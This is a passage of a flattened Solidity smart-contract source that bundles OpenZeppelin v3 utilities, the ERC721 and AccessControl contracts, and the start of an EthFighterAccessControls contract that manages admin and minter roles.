internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/EnumerableSet.sol pragma solidity ^0.6.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File: @openzeppelin/contracts/utils/EnumerableMap.sol pragma solidity ^0.6.0; /** * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. * * Maps have the following properties: * * - Entries are added, removed, and checked for existence in constant time * (O(1)). * - Entries are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableMap for EnumerableMap.UintToAddressMap; * * // Declare a set state variable * EnumerableMap.UintToAddressMap private myMap; * } * ``` * * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are * supported. */ library EnumerableMap { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { return _get(map, key, "EnumerableMap: nonexistent key"); } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. */ function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint256(value))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint256(_get(map._inner, bytes32(key)))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. */ function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint256(_get(map._inner, bytes32(key), errorMessage))); } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.6.0; /** * @dev String operations. */ library Strings { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = byte(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.6.0; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping (address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /** * @dev See {IERC721Metadata-name}. */ function name() public view override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; // If there is no base URI, return the token URI. if (bytes(_baseURI).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(_baseURI, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(_baseURI, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mecanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } function _approve(address to, uint256 tokenId) private { _tokenApprovals[tokenId] = to; emit Approval(ownerOf(tokenId), to, tokenId); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // File: @openzeppelin/contracts/access/AccessControl.sol pragma solidity ^0.6.0; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } // File: contracts/EthFighterAccessControls.sol pragma solidity ^0.6.0; contract EthFighterAccessControls is AccessControl { bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); constructor() public { _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); } /////////////// // Accessors // /////////////// function hasAdminRole(address _address) public view returns (bool) { return hasRole(DEFAULT_ADMIN_ROLE, _address); } function hasMinterRole(address _address) public view returns (bool) { return hasRole(MINTER_ROLE, _address); } /////////////// // Modifiers // /////////////// function grantAdminRole(address _address) public { require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "AccessControl: sender must be an admin to grant role"); _setupRole(DEFAULT_ADMIN_ROLE, _address); } function revokeAdminRole(address _address) public { require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "AccessControl: sender must be an admin to revoke role"); revokeRole(DEFAULT_ADMIN_ROLE, _address); } function grantMinterRole(address _address) public { require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "AccessControl: sender must be an admin to grant role"); 